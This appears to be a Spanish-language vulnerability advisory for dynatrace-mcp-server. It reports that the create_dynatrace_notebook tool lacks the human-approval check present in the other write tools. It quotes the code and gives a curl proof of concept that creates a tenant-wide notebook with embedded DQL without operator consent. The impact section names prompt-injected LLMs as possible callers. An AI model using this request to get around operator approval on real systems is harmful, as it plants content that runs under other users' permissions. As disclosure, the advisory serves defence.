Resumen

Una ausencia de control de aprobación humana en la herramienta create_dynatrace_notebook permite que un invocador cree documentos persistentes visibles para todo el tenant, con contenido arbitrario (incluyendo DQL embebido que otros usuarios ejecutan al abrir el notebook), sin requerir el consentimiento del operador.

Detalles técnicos

dynatrace-mcp-server registra seis herramientas de escritura: send_slack_message, send_email, send_event, create_workflow_for_notification, make_workflow_public y create_dynatrace_notebook. Cinco de estas invocan requestHumanApproval() antes de ejecutar el efecto secundario, lo que solicita el consentimiento explícito del operador a través del protocolo de elicitación MCP. El CHANGELOG del proyecto indica explícitamente que estas validaciones fueron añadidas "para garantizar el consentimiento del usuario y prevenir acciones no intencionadas".

create_dynatrace_notebook no invoca requestHumanApproval(). La herramienta fue introducida en una versión separada respecto al retrofit de validaciones de aprobación y quedó sin protección. Como resultado, un invocador puede crear notebooks Dynatrace persistentes y visibles para todo el tenant con contenido arbitrario sin ninguna confirmación del operador. Los notebooks pueden incluir consultas DQL embebidas que se ejecutan posteriormente bajo los permisos de cualquier usuario del tenant que los abra.

El código vulnerable se encuentra en src/index.ts, líneas 1563-1601:

typescript
tool(
  'create_dynatrace_notebook',
  'Create Dynatrace Notebook',
  'Create a new notebook in the Dynatrace platform ...',
  {
    name: z.string().describe(/* ... */),
    description: z.string().optional().describe(/* ... */),
    content: z.array(z.object({
      type: z.enum(['dql', 'markdown']),
      text: z.string(),
    })).describe(/* ... */),
  },
  {
    readOnlyHint: false,
  },
  async ({ name, content, description }) => {
    const dtClient = await createAuthenticatedHttpClient(allRequiredScopes);
    const data = await createDynatraceNotebook(dtClient, name, content, description);
    // Sin llamada a requestHumanApproval().
    // Sin anotación destructiveHint.
    // Los scopes solicitados son allRequiredScopes (el conjunto más amplio posible)
    // aunque solo se necesita document:documents:write.

    return data
      ? `Document created successfully: ${dtEnvironment}/ui/apps/dynatrace.notebooks/notebook/${data.id}`
      : 'document creation failed';
  },
);

Por comparación, todas las demás herramientas de escritura invocan requestHumanApproval() como primera acción:

  • send_email (línea 1274): const approved = await requestHumanApproval(...);
  • send_slack_message (línea 652): const approved = await requestHumanApproval(...);
  • send_event (línea 1367): const approved = await requestHumanApproval(...);
  • create_workflow_for_notification (línea 1069): const approved = await requestHumanApproval(...);
  • make_workflow_public (línea 1118): const approved = await requestHumanApproval(...);

Prueba de concepto

Verificado de extremo a extremo contra un tenant real de Dynatrace. El servidor MCP fue iniciado en modo HTTP con el Platform Token del operador:

bash
export DT_ENVIRONMENT=https://<tenant>.apps.dynatrace.com
export DT_PLATFORM_TOKEN=dt0s16....
npx -y @dynatrace-oss/dynatrace-mcp-server@1.8.5 --http --port 3000

Un único POST no autenticado desde un proceso sin credenciales Dynatrace propias:

bash
curl -sS http://127.0.0.1:3000/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{
    "jsonrpc": "2.0", "id": 1, "method": "tools/call",
    "params": {
      "name": "create_dynatrace_notebook",
      "arguments": {
        "name": "Unapproved notebook",
        "description": "Created without operator approval.",
        "content": [
          {"type": "markdown", "text": "# This notebook was created without approval"},
          {"type": "dql",      "text": "fetch logs | limit 10"}
        ]
      }
    }
  }'

La respuesta obtenida:

json
{
  "result": {
    "content": [{
      "type": "text",
      "text": "Document created successfully: https://<tenant>.apps.dynatrace.com/ui/apps/dynatrace.notebooks/notebook/<uuid>"
    }]
  },
  "jsonrpc": "2.0",
  "id": 1
}

El notebook es visible en la aplicación Notebooks del operador en cuestión de segundos. No se envió ningún prompt de elicitación a ningún cliente operador.

En contraste, el mismo escenario invocando send_email o send_slack_message devuelve:

code
"Operation cancelled: Human approval was not granted for sending this email."

La lógica de validación existe y está correctamente conectada en todas las demás herramientas de escritura. Simplemente está ausente en create_dynatrace_notebook.

Impacto

Un invocador (un atacante de red no autenticado a través del transporte HTTP cuando la autenticación está ausente, o un LLM comprometido mediante inyección de prompt en modo stdio) puede crear silenciosamente documentos persistentes visibles para todo el tenant.

El contenido del notebook está bajo control del atacante. Las consultas DQL embebidas se ejecutan bajo los permisos de cualquier usuario del tenant que abra posteriormente el notebook, un patrón de DQL almacenado que cruza fronteras de identidad dentro del tenant.